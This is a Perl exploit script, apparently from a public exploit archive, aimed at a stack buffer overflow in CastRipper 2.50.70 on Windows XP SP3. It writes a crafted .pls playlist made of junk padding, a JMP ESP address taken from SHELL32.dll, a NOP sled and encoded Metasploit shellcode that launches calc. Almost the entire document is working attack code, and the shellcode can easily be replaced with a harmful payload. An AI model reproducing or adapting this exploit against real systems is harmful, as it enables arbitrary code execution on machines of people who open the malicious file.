CastRipper 2.50.70 (Windows XP SP3) - '.pls' Local Stack Buffer Overflow

#!/usr/bin/perl
# CastRipper 2.50.70 (.pls)Stack buffer Overflow Exploit WinXP SP3
# Exploite By : d3b4g
# my webpage www.d3b4g.info
# From tiny islands of maldivies
# Tested on Windows XP SP3 
# 24.12.2009
# I used Adress from SHELL32.dll.You can change it to your desired address.Use jmpfind.exe to find address.
print "CastRipper 2.50.70 (.pls) Stack buffer Overflow Exploit\n";
print "Exploit By : d3b4g";
my $file= "d3b4g.pls";
my $junk= "A" x 26076;
my $eip = pack('V',0x7D113B1F);  # JMP ESP from SHELL32.dll WinXP SP3
my $shellcode = "\x90" x 25;     # NOPs

# windows/exec - 144 bytes
# Thanks to http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "pls File Created successfully\n";